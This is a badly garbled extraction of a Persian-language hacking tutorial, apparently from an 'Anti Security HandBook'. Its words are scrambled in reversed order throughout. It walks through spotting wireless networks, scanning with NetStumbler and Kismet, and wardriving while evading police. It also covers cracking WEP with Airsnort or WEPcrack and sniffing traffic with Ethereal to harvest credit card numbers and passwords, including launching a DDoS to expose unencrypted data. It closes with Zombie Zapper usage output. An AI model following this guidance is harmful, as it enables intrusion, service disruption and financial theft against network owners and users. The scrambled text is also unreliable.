د  یب گذرد یم و برشان دور در که یاطلاعات ليس از مردم از یادیز اريبس تعداد که یحال در است موشکافانه  از اه  کر ه یول  اطلاعن
  .ندینما یم یآور جمع را خودشان ازيمورد ن یاه داده یجار اطلاعات ميعظ ليخ
 

ه  شما  خوب  ه  یکر ه دی د از ک ون  و دور ب ا  از دي کن یم  دقت  اطرافت ه  دي مهف یم  کج ه در  ک تفاده  حال  در یا منطق   یاه  شبکه  از اس
Wirelessم  علا  یکی معلومه ستنده رار  ئ تفاده  یداد ق را  شده  اس انطور ه ستشه  موضوع  نی ا یب ه  م وژ  ره  دي دان یم  ک را  یتکنول  یب

 حضور مه یتکنولوژ نیا دارند قرار که ییجا که در مندهف به توانند یم متخصص افراد و اشخاص که داره ییاه نشانه و علائم خودش
  به شه یم مربوط آرم نیا مثلا داره
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رارداد   گر ید ای  و شه  یم  انجام کیولوژيکروبيم قاتيتحق اهآن در که یساتيتاس و مراکز ل  یعلامات ق ه خواب  یوياکت وی راد مث را  ت  یب
ه  شده انتخاب یقرارداد علائم مه ميس یب یتکنولوژ د   اون لهيبوس  ک راد بتونن شخ  اف د هبد صيت ه  ن ا اون در ک واج  قی طر از ج  ییوی راد ام
  .ديکن توجه ریز ئم علا و اه آرم به باشند یم تيحال فعال در ميس یب یاه شبکه

  

 
  
 فکر که یاون یول کردم دايپ کدومشون ره ار ی متفاوتیمعان منبع چند از و جا چند در من البته معناست کی به اه نشانه نیا از کدام ره
ه  دیدید رو اه نشانه نیا از کی کدام ره ابتدا در کنم یم عرض باشد را تر درست مهه از کنم یم ه در دور  معناست  نی ا ب  اطراف  و ک

ا  نیا به یوسط نشانه– است باز ميس یب شبکه که معناست نیا به یچپ سمت نشانه - وجودWi-Fi م يس یب شبکه کی شما ه  است  معن  ک
ه ا  است معنا نیا به یراست سمت نشانه و باشد یم بسته حاضر حال در ميس یشبکه ب ذار  از ميس  یب  شبکه  نی ک  (Encryption  یکدگ
WEPکند یم  استفاده.  

 
تفاده  مه  اوقات شتريب یل کنند و استفاده ندههد شداره علائم و آرم نیا از حتما نيقوانن طبق دیبا اه شرکت البته ه  یک ی شهي نم اس  خاطر  ب
 ییآشنا محض تهج ره ند بههد ینم قرار عموم در اصلا نکهیا ای و کنند ینم ستفادها اه نشانه نیا از یمراکز دولت شتريب ای یبرخ نکهیا

  .است  ادیز اريبس ميس یب یاه شبکه افتنی د احتمالیکرد دههمشا را اه نشانه نیا از یکی وقت ره شما
  

را  روش نی ا یقبل  شرو از شتريب ا استه یآور فن نگونهیا و ميس یب یافزار سخت زاتهيتج و قطعات داتهمشا یبعد روش  داي پ یب
ه  شما کرد اگر هيتک آن به توان یم اه شبکه کردن ه  زاتهي تج ب ار  ب ه  ک نا  شبکه  در شده  رفت ه  ییآش ه  یحت  ن نا ی  بلکه  یا حرف  ییک آش
تفاده  ميس  یب  رانهياز تج زين حوزه آن در که دیببر یپ نکته نیا به ديتوان یم باشد داشته را ییابتدا دل  و زاني م شود  یم  اس  نی ا یاه  م
ه  زاتهي تج ی بعض هیندهد نشان ریز یاه شکل مثال طور به اند شده ساخته متفاوت یاه اندازه و در ادیز اريبس زاتهيتج گونه ار  ب  ک
ه  ازي ن خود  ریز یاه افزار سخت از کی ره حيباشد توض یم ميس یب یاه شبکه در شده رفته د  ای  کی  نوشتن  ب اب  نیچن از  دارد را کت
  .م ینما یم اشاره مورد چند با اه افزار سخت نوع نیا با زانیزع شما یآشنا تهج
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ا  ستنده  ميس  یب  یاه  شبکه قطعات کنندگان ديتول جمله از ریز یاه شرکت ه س   مراجه  ب  نیآخر  از دي توان یم  مه  شده  یمعرف  یاهاتيب
  .دیآور بدست ميس یب یاه شبکه نهيزم در را یگرید آوان فر اطلاعات نيمچنهو  دیشو خبر با موجود یاه یتکنولوژ

  
� Aeralix, Peabody, MA (http://www.aerialix.com) 
� Antenna Systems and Supplies, Schaumburg, IL 
(http://www.antennasystems.com) 
� Down East Microwave, Frenchtown, NJ 
(http://www.downeastmicrowave.com) 
� ElectroComm, Denver, CO (http://www.ecommwireless.com) 
� FAB Corp, Tampa Bay, FL (http://www.fab-corp.com) 
� HD Communications, Ronkonkoma, NY (http://www.hdcom.com) 
� Hyperlink Tech, Boca Raton, FL (http://www.hyperlinktech.com) 
� NetGate, Spokane, WA (http://www.netgate.com) 
� NetNimble, Sacramento, CA (http://www.netnimble.net) 
� Pasadena Networks, Pasadena, CA (http://www.pasadena.net) 
� Superpass, Waterloo, Ontario, Canada (http://www.superpass.com) 
� The RF Connection, Gaithersburg, MD (http://www.therfc.com) 
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 یاه پنجره انيم ای اه ساختمان یرو بر ای نصب شده یاه دکل یرو بر را مشابه یاه نمونه ای اه افزار سخت نیا از یکی ییجا در اگر
 و دیکرد دههمشا یا علائم شما نه که ميکن یم فرض د حالایدار قرار ميس یب شبکه کی یکار در حوزه باشد مطمئن دیدید ساختمان کی
 . کرد کار چه دیبا حالا– دیشد آشنا مه اهاون از یبعض با که یبکه اش یاه افزار سخت نه
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
  
 

Netstumbler ler Utility 
  
زار   شما نرم به یقبل یاه بخش در که مانطوره– دهيبد انجام رو یا حوزه اسکن کی دیبا بله ردم  یمعرف  راNetstumbler اف ا یا ک  نج

 یشما معرف   به که را یگرید یاه برنامه دیبشو آشنا جالب اريبس برنامه نیا با یتر مفصل طور به یمقدار که است هديرس آن به نوبت
د  تي فعال تونند ینم اه تميس نیا یرو مه چندان کاربران که مه ییآنجا از ديکن کار BSD و نوکسيل اه عامل ستميس در دیبا را کردم  کنن
ورد  ميس  یب  یاه  شبکه نکهیا از بعد مهد یم شرح رو شهيم اجرا ندوزیو یاه فرم پلت در که روNetstmbler افزار  نرم نيمه من  م
 که  میبگو دید بايکن استفاده که اتيعمل انجام یبرا شده شناخته یاه یریب پذيآس از ديتوان یم دیکرد ییشناسا افزار نرم نیا با را نظر

NetStumblerادر  را اه  شبکه یبعض که است معنا بدان ابن ستين شبکه یاه کارت مهه ییشناسا به قادر ه  ق نا  ب ا  ش  یول  ستي ن ییس
ارت  یتمام برنامه نیا ديکن مراجعه برنامهRead ME به  ند ییشناسا تواند یم را ییاه شبکه چه که د بدانسدهيخوا یم اگر ه  یاه  ک  ک
  از
 

Lucent/Orinoco/Avaya/Agere/Proxim cards 
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را  دي توان یم  و است Free افزار  نرم نیا کنند یم ییشناسا را کنند یم ه استفادHermesست  پيچ را ا  از آن ه  نی ا تیس  افت یدر برنام
 تا ديکن افتیدر را آزاد نسخه نيمه یول کند یم یبانيپشت را خاص امکانات یسر کی که باشد یم موجود زين آن یتجار نسخه البته ديکن
سخه  دي توان یم دیينما استفاده اسکن یبرا برنامه نیا د ازياستخو که ینگامه و دیشو آشنا آن یکار طيمح با را  یتجار  ن  یداری خر زي ن آن
  .د یينما
  
 
  .باشد یم دسترس در افتیدر یبرا برنامه نیا 0.4.0 نسخه اکنون مه
  

  
 
  : آدرس   بهNetstumblerآزاد  نسخه افتیدر یبرا
 

http://www.netstumbler.com/downloads 
  
 شود یم استفاده نگيکه انجام در اه PDA یبرا شتري بMiniStumblerکه  دیينما یم دههمشا را نسخه ع نو دو نظر مورد صفحه در
سبت  را یتر کم شبکه یاه کارت تعداد ظمن در ه  ن سخه  ب ا  یاصل  ن د  یم  ییشناس نم  یم  ادهشني پ. کن ان ه ک سخه   م  راNetstumbler ن
  .د یيفرما توجه ریز ریتصو به دیينما افتیدر
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 انینما ریز شکل بهFile Download -پنجره تا نموده کيکلNetStumbler 0.4.0 Installer نک يل یرو بر صفحه شدن بار از بعد
  .دارد  تیمگابا 2 از کمتر یحجم برنامه. ديکن رهيذخ سکید ارده یرو بر را آنرا و شده

  

  
 
  ديکن اجرا د راينک یم دههمشا ریز شکل در که نصب برنامه آن کامل افتیدر از بعد
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  د هيد ادامه را نصب مراحل ریز ریتصاو ماننده
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ام  از پس  ر  نصب  مراحل  اتم اد  یرو ب وده  کي کل ری ز نم ه  و نم ل  دي کن اجرا  را برنام ه یاجرا  از قب ان ياطم  برنام ه  دي کن داي پ ن  ک
Netstumbler با  کی با است نموده ییشناسا را شما ميس یب شبکه کارت restartدي کن دايپ حاصل نانياطم موضوع نیا از بوک نوت 

 زي ن مشکل نیا مناسبPC Card از  استفاده که با کرد دهيخوا خورد بر شبکه آداپتور ییشناسا عدم بر یمبن ییاهخطا ادبایز احتمال به
 شود یم حل
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  .شود یم انینما ریز بصورت برنامه یکل طيمح مطابق یا صفحه اجرا از بعد 
  

  
  
 دیينما ميتنظ را موارد گرید و اسکن سرعت ليقب از یماتيتنظ و دیبرو برنامهOptions ه ی دیبپرداز آن یبند کريپ به است ترهب بتداا در
سمت  نی ا در ه یگز ق رد  دهي دا خواي پ را یادی ز ییاه  ن ه  از ک تفاده Win XP ا ی  Win2k از  اگر  نکه یا جمل  بخش  یستی با دي کن یم  اس

Reconfigure card automaticallyاز  ديتوان یم اه قسمت گرید یبرا دیينما فعال  را Helpدیريبگ کمک برنامه .  
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 مسائل یبرا ديسته یا حرفه کاربر اگر یول دينزن دست ماترايتنظ گرید باشد یمMIDI  یاه پاسخ گرفتن جالب ماتيتنظ از گرید یکی
  دیبگذار اجرا هب را یخاص ماتيتنظ دي توانیم جینتا نگیلتريف بخصوص مربوطه

  

  
  
ا  به شروع کياتومات صورت بهnetstumbler م باشد ه فعال و باشد شده نصب ميس یب شبکه کارت اگر ماتيتنظ انجام از بعد  ییشناس
ا  را قادر باشد  که را ییاه شبکه کارت آن البته -کند یم نگياسکن منطقه در موجود ميس یب یاه شبکه ستيل افتنی و  دی نما یم  ییشناس
  دیيفرما توجه ریز شکل به
  

  
 
مشخصه  با دو ره کند ییشناسا منطقه در  راAPs است   دو تا توانستهNetstumbler د یيفرما یم دههمشا بالا ریتصو در که مانطوره

 Cisco Aironet APs ا د   ب ند يم WEPنگ ی ک ر  یک ی باش ررو  یگر ید  وchannel 6  یرو ب  شده  افت ی درChannel 1  یب
 جا نيمه از ديکن دههمشا ديتوان یرا م اند آمده بدست اسکن از که ینکات گرید و باشد ی م 020020141 و بوده ن ایانم مه  SSIDاست

  .نظر  مورد ميس یب شبکه به وستنيپ یبرا ديکن استفاده ضعف نیا از ديتوان یمSSID شد  انینما شبکه یاه ضعف از یکی
ه   شود یم داي پیا شبکه ایآ دينيبب دهيخوا یم اگر مثلا ديکن زين لتريف را اسکن جینتا ديتوان یم شما ال   انWEP ک  دي کن داي پ را نباشد  فع

  است ریز صورت به جینتا ديکن انتخاب راEncryption Off قسمت 
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 یا نکته – ریز شکل مطابق ديکن دههمشا APs  وSSID ر یز در اراه MAC Address انتخاب  با ديتوان یم زين را یاضاف اطلاعات
 ییاه شما شبکه است ممکن– دهد یم را یمتفاوت جینتا مختلف یاه شبکه یرو بر و یا ر برنامهه با کار که مهبد تذکر دیبا نجایا در که
  .شود یم اکتفا ریز یاهاسکن  به مثال یبرا تهرجه به دیينما دايپ را یگرید ییاه یژگیو با را

سبت  یتر متيق ارزان وهيش کی روش نیا البته است ریز شکل بهMiniNetStumbler با  کار نحوه ه  ن  اري اخت در یقبل  یاه  روش ب
ا   اریک ی شد  گفته که مانطوره یول دهد یم قرار ا  بشیمع ر  پوشش  و ییشناس ه  باشد  یم  ميس  یب  یاه  شبکه  کمت  ر توجه ی ز اشکال  ب
  .دیيفرما

  
 شبکه تست یبرا مجتمع لهيوس کی شکل به کوچک لهيوس نیا ديکن یم استفادهiPAQ مانند ه معروف یاه PDA از  یکی از شما اگر
 Compact ک ی ا ی  و PC Cardگسترش  شکاف  کی از استفاده با نيمچنه  وkismet برنامه از با استفاده شود یم لیتبد ميس یب یاه

Flashبه  را خود ميس یب کارت بود دهيخوا  قادر PDAورد  نک يکه یاه  ابزار از یکی که ریز ریتصو د دریينما متصل ه  م  من  علاق
زار  از یک ی اگر ديکن یم دههمشا را رابط و مربوطه آنتن نيمچنه وPCMCIA شبکه  ميس یب کارت باPDA ک ی شما است ان یاه اب  ت

 انواع گرید ایUSB 2 رابط  سوکت کی از ديتوان یم نداشت وجود شماPDA  یرو بر یمناسب پورت یعنی نبود اتصال  قابلPDA به 
  . ديکن استفاده موجود
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 مراکز  و اه  ساختمان یاه ابانيخ نيب در یوه ايم یبستن کی خوردن درحال ور دهيد قرار خود یپشت کوله در را اجزاء نیا ديتوان یم
زار  دو یکی مراهه به ابزار نیا شما یپشت کوله در که  استیدرحال نیا و زده قدم یاطلاعات مهم  رهي و ذخ یآور جمع  حال  در گر ید اب

 کی مراهه به خود کره دوستان از تن چند مراهه به ای و ديمناسب باش ی دونده کی ای که کنم یم ادهشنيپ البته و باشند یم امخ اطلاعات
 است  لازم یبحران  در مواقع چون دهيد انجام را کار نیا (گذارد یم جا را سيپل یاه نيماش مهه که ییاه از مدل یکی) پورشه لياتومب
ام  در موقع ره یینکته طلا کی و دیبدو عتریسر زين ايدن یاه دونده نیترهب از که ه  دی برد یپ  اتي عمل نی ا انج ان  ک و  نفوذت ه  ل  است  رفت
 ... وpager  وGPS ستم يس ی دارایمچ ساعت ای و لیموبا جمله از خود مراهه گرید یکيالکترون قطعه ره ای و یپشت د کولهيق یستیبا
ه  دیبرو یگرید ريمس از خود و دیندازيب یرگید یخودرو پشت رادر اهآن مهه و زده را ار  نی ا اگر  البت ع  در را ک و  موق تن  ل  اتي عمل رف

  .ديباش زين ناخوانده یاه مانهمنتظر م دیبا زين نگامه شب یول دیببر برد سالم جان ماجرا از ديبتوان موقع آن دید شاهيند انجام
  
 

سا  کل  در اگر  یول  ده  بدست  لاعات اط دي توان یم  دي کن تی رعا را یت يامن لیم ردازش  مناسب  در فرصت  را آم ا  از– دیي نما پ ه  آنج  ک
تفاده  زي ن شتريب ای و یتیبا گايگ کیUSB Ram ک ی از ديتوان یم باشد نداشته را لازم یفضا زانيم دیشا تانیاه PDA سکیاردده  اس
ه  بود ییاه مانه یاصل یاه ابزار ید ولیدار مه یگرید یاه افزار نرم و ابزار به امور نیا انجام یبرا میگو یم مه باز البته ديکن ه  ک  ب
ا   دي کن توجه  ریز ریتصاو کردم به اشاره اهآن ه  زي  نiPAQ ب ا  ب شابه  یجینت ار  -ديرس  دهي خوا م ا  ک دار Windows CEب ا  ی مق  گر ید ب
 .ديسته آن از تفادهاس حال در اکنون مه که سته یندوزی و از تر راحت اريبس باآن کار دیخر از بعد یول دارد تفاوت اه ندوزیو
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  .MiniStumbler  برنامه Option  یمنو

  

 
 اسکن سرعت ميتنظ

  
  

  
  . است  متصلGPS به  دستگاه که یپورت
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  .شده افتهی یاه شبکه و اسکن حال در برنامه

 
 تا دیشو متمرکز دفه کدام یرو بر نکهیا ديافتی مهم يس یب شبکه نیچند شما نکهیا فرض به است آمده بدست اطلاعات ليتحل گرید نکته
 ميس  یمخابرات ب  نهيزم در ادیز ی تجربه و بالا اريبس یعلم نهيزم کی به خود ديبرس تانهج دلخواینتا وبه کرده کار شبکه آن یرو بر
ا  باشد  نداشته نهيزم نیدر ا یکاف تجربه اگر– شود یم شامل را آمده بدست یاه گناليس ليتحل و ه  شده  اسکن  جینت ي  ب  ینم  شما  درد چه

د باشد   یم  چه یبعد قدم آمده بدست اطلاعات مهه آن نيب از نکهیا و ازين مورد داشتن تجربه با یول خورد ه  است  یامر  توان  از خود  ک
را   یم  تر یاتيح و تر مهم اسکن اتيعمل ر هب درک یباشد ب ال  کی  من  موضوع  نی ا ت اده  مث ه  میبگو  دی با ( آورم  یم  س ه  زاره  ک  نکت
 تواند یم مناسب ليتحل کی با اطلاعات نینکه کوچکتریا بر یمبن مهديم شما به ینخ سر مثال نیا زدن با من) جاست نیا زمو ک تریبار
 شود لیتبد ن اطلاعاتیتر ارزش با به
ه يدرزم ییگشا رمز و یگذار رمز جنگ ینوع– است یکيالکترون جنگ کی نیا حال ره به–  داشته  یخاص  تبحر  دی با یمختلف  یاه  ن
 یک ی که ديباش داشته یخاص توجهEncryption مباحث  به – دیبورز مبادرت ميس یب یاه ک شبکهه به کلمه یواقع یمعنا به تا ديباش
  .باشد  یم مبحث نیا ميس یب که یاه ازين شيپ از

  
  
وق  شکل  در ارامتر  ف دد  یاه  پ وردنظر  ميس  یب  شبکه  از یمتع شا  را م  Strength of  و Noise زان ي م لي از قب دي کن یم  دههم

Signalsدت  یدارا یافتی  دریاه  گناليس  که - دیشو یم متوجه ديکن دقت بالا شکل به اگر الا  ق ه  یدارا و ستنده  ییب س  دامن الا   یفرکان ب
ادل  حال  در مي س یب  شبکه نیا یرو بر بالا سرعت با و ميحج ارتباطات که زد حدس توان یم که سته د  یم  نی ا است  تب  فرصت  توان
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ال  است  شبکه یرو بر اختلال وجود گرید مطلب دیشا باشد البته کره کی یبرا یمناسب ر Noise ا ی  تی پاراز وجود  زي ن گر ید احتم  ب
تفاده Sniff ات يعمل از ديتوان یم دینمود دايپ بالا یاطلاعات تبادل یژگیو با شبکه اگر فرض به است یفرکانس محدوده آن یرو  دي کن  اس
 گر ید ای  و عبور ا کلماتی و یاعتبار یاه کارت شماره ليقب از یديمف اطلاعات آوردن بدست یبرا را یاطلاعات نيچن کنم یم ادهشنيپ

ر  اه  ساعت  است  ممکن  باشد  یم گذر حال در اه داده نوع نیاز ا شتريب که دیشو متمرکز ییاه شبکه یرو بر حساس یاه داده  اه  میف
 ميس  یب  شبکه  کی  انتخاب با ممکن است یدولينکن دايپ دست یديمف اطلاعات چهي به یول دیآور بدست ميس یب ک شبکهی از را یمتعد

ه  است یا تجربه مانه نیا ديبرس دلخواه جینتا به اهCapture ن ياول مناسبدر ه  ک ردم  اشاره  آن ب ه  ک شاب  ب وان  یم  هیت عمل   نی ا گفت  ت
 من حرف نیا که یکسان خوب دیبرو نظر ردمو دنبال شکار به دیبا کجا در ديدان یم ديباش یخوب گر شکار اگر است کردن شکار ماننده
ه  باشد پس  تواند یم یدافها چه و ییاه زيچ چه من که منظور دانند یم اند کرده درک خوب را ال  ب ورد نظر   دافه ا دنب ه  دی برو یم  ک

  .دیينما کسب یديمف اطلاعات ديبتوان
 
 یکل  طور  به دیبرو آن شده شناخته یاه یریب پذيآس الدنب به شبکه ره اتيخصوص به توجه با نظر مورد یاه شبکه کردن دايپ از بعد
 نظر تفاوت مورد یاه شبکه یبند کريپ نظر از مه و زاتهيتج نظر از مه چون نمود ارائه یقانون کل کی توان ینم اه شبکه مهه یبرا
 یبرا دانند یم اه یا حرفه ثلام است شده استفاده یگذار رمز یبراEncryption WEP از  بالا شبکه در مثلا دارد وجود یاديبن یاه
را  ندمثلاینما استفاده اه یریپذ بيآس کدام از دیبا اه  دادهیرو بر یگذار کد نیا نمودن فعال ريغ وان  یم Encryption WEP  یب  از ت
 .نمود استفاده نیعناو نیا با ییاه یریپذ بيآس یسر

Vulnerability to Plaintext Attacks 
Vulnerability of RC4 Algorithm 
Stream Cipher Vulnerability 
Security of 64-Bit versus 128-Bit Keys 
Acquiring a WEP Key 

  
  .دیيمطالعه نما و کرده افتیدر ریز در ديتوان یم راWEP ج یرا یاه ضعف ی باره در منابع از یکی مثلا

 
http://grouper.ieee.org/groups/802/11/Documents/ 
www.cs.umd.edu/~waa/ 
www.cs.berkeley.edu/~daw/ 

  
وان  یم  ا یا از گفت  ت ه  نج د  ب ا  بع ه  توجه  ب د ه ستمي س در موجود  یاه  ضعف  ب ان عمل ه مانن ه  یاتي م ر  ک  Web در  دافه ا یا ب

Hackingدد  یاه  د ابزاريکن یم تيفعال طرق مانه به مه نجایا در دهيد یم انجام ه يزم نی ا در مه  یمتع د ه ن  موجود  نگ يکه وب مانن
وذ  اتيعمل یبراحت اه ابزار نیا با ديتوان یم شماAirsnort ا ی WEPcrackمانند ه است ام  را نف ه  نی ا. د هي د انج ه  از دوبرنام  برنام
  تیسا به ديتوان یم ابزار دو نیافت ایدر یبرا باشند یم ميسيب یاه شبکه که در معروف یاه
 

http://www.sourceforge.net 
  

ا  و افتهی را موجود منابع ه  هتوج  ب ان  شبکه  یاه  یژگ یو ب ذ  بيآس  نظر  از را اه آن ات ا  دیي نما  تست یریپ  یبراحت  موجود  یاه  FAQ ب
الا  مثال تازه دیينما تست کرده دايپ را اه یریپذ بيآس گرید ديتوان یم خودتان اره  در ب ذ  آسب  ی ب ود WEP Encryption یاه  یریپ  ب

ه  آنست  ترهب ستين ریپذ مقاله امکان نیدرا اهآن از بردن نام که دارد وجود یریپذ بيآس شمار یب گرید اجزا از یاريبس یبرا د  ک  از بع
  .دیبورز شبکه مبادرت یرو بر شان تست سپس و یریپذ بيآس دنبال به و کرده توجه در دسترس یاه یژگیو و اتیيجز به اسکن آتمام

 
 در توانند یم یکسان و باشد یم یکابل یاه شبکه عمول میایهریپذ بيآس از تر عيوس و تر دهيچيپ اريبس ميس یب یاه یریپذ بيآس مبحث

 یاه ارتهم ميس یب نهيدر زم یستیبا نيمچنه و اند گذاشته سر پشت را یکابل یاه شبکه نهيزم در ییآشنا ند کهینما تيفعال اه حوزه نیا
ا آن از باشد یم +Security  و+Networkنه يزم نیا در هیپا یاه مدرک– اند نموده کسب را یکاف ه  ج ر  ک ه  اکث دگان  مطالع ه  کنن  تجرب
ه  من علاقه اه یليخ کنم یم فکر که یقسمت به ندارند را ميس یب که یبررو یکاف ه  ب نا  ب ا ییآش ند  آن  ب نم  یم  اشاره  باش  کر ه اغلب  ک
 نفوذ قصد که ام هدید را یکسان معدود بلکه است نبوده شبکه خود به نفوذ Wireless کهاز  شتريب دفشانه ام کرده کار اهآن با که ییاه
د  داشته را ميس یب یاه شبکه اه سرور یرو بر اطلاعات و شبکه به د از  اغلب  ان ا  بع دار  و شبکه  ییشناس ر  لي تحل یمق  اجزاء  یرو ب

 در باشد  یم  ميسي ب یاه  شبکه که مرسوم یاه روش از یکی نیا گفت توان یم نظر کی از ندینما یمSniffing ات يعمل به مبادرت
 نه زين اه کشور یبعض و باشد یم ممنوع یخاص یفرکانس یاه در محدوده ميس یب اه شبکه افتنی یبرا اسکن یحت اه کشور از یبعض

  .است  آزاد یحدود امر تا نیا هيروس در مثال طور به ستين آن یبرا یقانون بلکه باشد امر نیا یريجلوگ ی برایقانون نکهیا
د  استحظار خود محترم خوانندگان ه   دارن م  در مه م یاه  شاخه  از یک یSniffing ک ه  که  عل الات  رود یم  شمار  ب اب  و مق  یب  اه  کت

زار  لهيوس  بهSniffing  یبرو بحث یمقدار قسمت نیا در-دارد وجود نت یرو بر ن بارهیا در یمتعدد یاه ابزار مراهه به یشمار  اب
Etherealشود یم داده شرح. 
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نا  حداقل ای باشد نکرده کار Ethereal با که شود یم دايپ دوره نیا در) خبره  اه کره بخصوص ( یکس تر کم گرید   را هي اول اه  ییآش
  ت یسا به نوکسيل مه و ندوزیو عامل اه ستميس در مه ن برنامهیا افتیدر یبرا ديتوان یباشدم نداشته

 
http://www.ethereal.com 

  
ه  گر ید شتر ازيب را برنامه نیا من خود باشد یم تیمگابا 8 از کمتر برنامه نیا حجم دیينما مراجعه ل  sniffing  یاه  برنام  Cain  مث

& Abelبرنامه  مهد یم حي ترج Etherealس  یکامل صورت به ارت  از یاريب ا  را شبکه  یاه  ک دول  یم  ییشناس ه  یکن ا  Cain برنام  ب
ار  من  خود یول است یجالب اريبس برنامه آنکه ا   ک ر  راCain ب ابل  یاه  شبکه  یرو ب رج  یک اوت  مه د یم  حيت   و Cain ن يب  یاصل  تف

Etherealرا  مه  من  کل در شود یم یناش ندینما یم ییشناسا که را ییاه پروتکل و شبکه اه کارت از ار  یب ررو  ک  و ميسي ب شبکه  یب
د  زي نCain و پروتکل  چندEthereal که  ديکن دههمشا ديتوان یم خودتان را تفاوت نیا کنم یم  استفادهEthereal از  یمعمول  را ات  چن
  .د يکن اجرا و نصب و کرده افتیدر  راEthereal برنامه برد دهيخوا من مطلب نیا به سهیمقا نیا از بعد کنند یم یبانيپشت
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ه  یاOption از  پر رهظا به نسبت برنامه نیا با کار س  دارد ک اب  باشد  یم  راحت  اريب ه يزم نی ا در مه  ییاه  کت ه  دارد وجود  ن  یم  ک
  . د یينما آغاز راCapture مات ياز تنظ دبعديکن ستفادها اهآن از ديتوان
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ه  سته  ییاه  پروتکل  به مربوط ماتيتنظ مانه برنامهpreferences در  قسمت نیمترهم ه  ک ام  ه در دی با برنام  نظر  درCapture نگ
ال  ییاه  پروتکل چه برنامه در دينيبب نکهیا یبرا ديکن توجه بالا شکل به رديبگ د  شده  فع ه  ان  نظر  در مه  Protocol Enabledسمتق  ب

 شکل( د يکن انتخاب را اه پروتکل مهه است ترهب دیينما چک را اند شده جمله من ميس یب یاه پروتکل نکهیا از و  رفته802.11گرفته 
  )ر یز
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 باشد  یم Sniffing – Ethereal  یاه  یژگ یو از یک ی حال  ره  به -دیشو آشنا آن با شتريب و کرده افتیدر راfree برنامه نیا خودتان
ام  اه شبکه تست یبرا برنامه نیا با توان یم را گرید یاتيعمل ر هب -داد انج اا  یعمل  طيمح  در است  ت ه  نیب نا  شتري ب برنام  د اگر یشو  آش
ه  با نکهیا از بعد کنم حیتشر را ميس یب یاه شبکه حوزه در خصوص به ی حرفهSniff ک ی نحوه مهبخوا   شبکه Netstumbler برنام
ا ه خانه از اهگناليس نیا ایآ نکهیا یافتیدر یاهگناليس یاه یژگیو گرید و ارتفاع و قدت  وSignal Strengthبه ديشناخت را موجود یاه
ه یاه کره شوند یم فرستاده نظر مورد یاه شرکت توسط ای و شوند یم افتی در د  یم  یا  حرف ا  توانن ه  یبرس  ب  و اه  گناليس  ی دامن
  . ببردیپ مهم لبمطا نیا به نکات گرید
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 توجه با ديسته شوند یم بدل و رد اه شرکت شتر دريب که یاطلاعات گرید ای و یاعتبار یاه کارت یاه حساب شماره دنبال به شما اگر
 از دارد مه ییاه نقص روش نیا خود یدولیبپرداز اه دادهSniff اتيعمل به مبادرت شده افتیدر یاهگنال يس قدرت شهکا و شیافزا به

ا  یحت  ستنده  شده Encrypt صورت  به یارسال اطلاعات اغلب که آنجا ه  یدي مف  اطلاعات Frame  کردن Capture ب  یاه  802.11ب
  .آورد دهينخوا دست استاندارد از مثلا یخاص

  
 یاه داده یآور جمع ام گرفته جواب آن از مها ه بار و دارم آن به یادیز علاقه مه من خود که روش نیا در جالب یاه کيتکن از کی

 ک یفرستادن  مثال طور به اطلاعات ارسال نگامه در که دارند هیآگا نهيزم نیا نکه متخصصانیا حيتوض است نت یرو بر سرگردان
Packetه  اه  داده است  پکت  سقف  حد تا رمز کلمه و یکاربر حساب یحاو که داده ه  شوند  یم   ارسال Encrypt صورت   ب ا  ک  در  ت

Destinationصورت به عمنب مانه ای Decryptه  یجواب در ندیآ یم در ه  مقصد  اغلب  ک ده  درخواست  ب د  یم  ارسال  کنن ه  اغلب  کن  ب
ه  اه  داده شود  یم  فرستاده کننده درخواست به جواب کی فقط و روند ینم کار به حساس یاه دادهRespond ا ه پکت در آنکه علت  ب

 اگر نباشند شده کد ی برگشتیاه داده که باشد نیا بر ما فرض اگر یول ستين صادق مه شهيمه موضوع نیالبته ا ستندين شده کد صورت
ه   پرداخت Sniff اتيعمل به آن لحظه در توان یم فتديب کار از نظر مورد ندههد سیسرو رده  اجرا  راDDoS د ي توان یم  یراحت  ب  و ک

ه  سپس  ار  از مقصد  یوقت  نصورت یا در دیشو  مشغول Sniffing ب د يب ک ه  اه  داده فت ا  از و شوند  یم  بلوک ه  آنج ه  رسيمس  ک  IP در ک
Headersپک یرو از مه بلوک ی اه ت ه نت یرو بر اه داده است ننموده رييتغ پکت Encryptionنجایا جالب و شوند یم سرگردان 

وده  صادق ویسنار نیا مه شهيمه کنم یم تکرار باز البته است شده برداشته شده که است د  مه  اه وقت یو بعض  نب  یاه  هدادDDoS از بع
ه Hexadecimal بخش  در که ییاه داده به خصوص به ديکن توجه ریز ریتصو به ستنده کد صورت به شده یآور جمع اده  دام ب د  افت  ان
  .باشد يم 802.11 شبکه می در یارسال یا داده از شده گرفتهframe ک ی نیا ديکن توجه ریز ریتصو به دقت به
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 نجه یا در که شود یم کيکلاس که به مربوطDDoS  و DoS یرو بر بحث البته است ریز  ابزارDDoS در مهم یاه ابزار از یکی
  .شود یم اکتفا مثال نیا به دارند نهيزم نیا در یکم ییآشنا که یاطلاع دوستان تهج از یول ندارد یربط ما مقاله به
 

 DDoS متداول  یاه روش
د  یم وادار ی طورSub Domain ک ی در را اه انهیرا گرید که استDDoS حوزه  در معروف یاه ابزار از یکی مزبور برنامه  کن

ار  از باعث  اه  درخواست تعدد بفرستند خاص یسرو کی به را یمتعدد یاه خواست در که ادن  ک ورد  سرور  افت  نی ا  شود یم  نظر  م
  شود اجرا نوکسيل یاه ناليترم از یکی در دیبا ابزار

 
Zombie Zapper Commands 
When compiled, Zombie Zapper is designed to be run by using the ./ command. 
If you enter ./zz without any arguments, you will receive the following: 
./zz 
Zombie Zapper v1.2 - DDoS killer 
Bugs/comments to thegnome@razor.bindview.com 
More info and free tools at http://razor.bindview.com 
Copyright (c) 2000 BindView Development 
=== You must specify target(s) or a class C to send to 
USAGE: 
./zz [-a 0-5] [-c class C] [-d dev] [-h] [-m host] [-s src] [-u udp] 
[-v] hosts 
-a antiddos type to kill: 
0 types 1-4 (default) 
1 trinoo 
2 tfn 
3 stacheldraht 
4 trinoo on Windows 
5 shaft (requires you use the -m option) 



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٨٤٧    صفحه

-c class C in x.x.x.0 form 
-f time in seconds to send packets (default 1) 
-d grab local IP from dev (default eth0) 
-h this help screen 
-m my host being flooded (used with -a 5 above, only one host) 
-s spoofed source address (just in case) 
-u UDP source port for trinoo (default 53) 
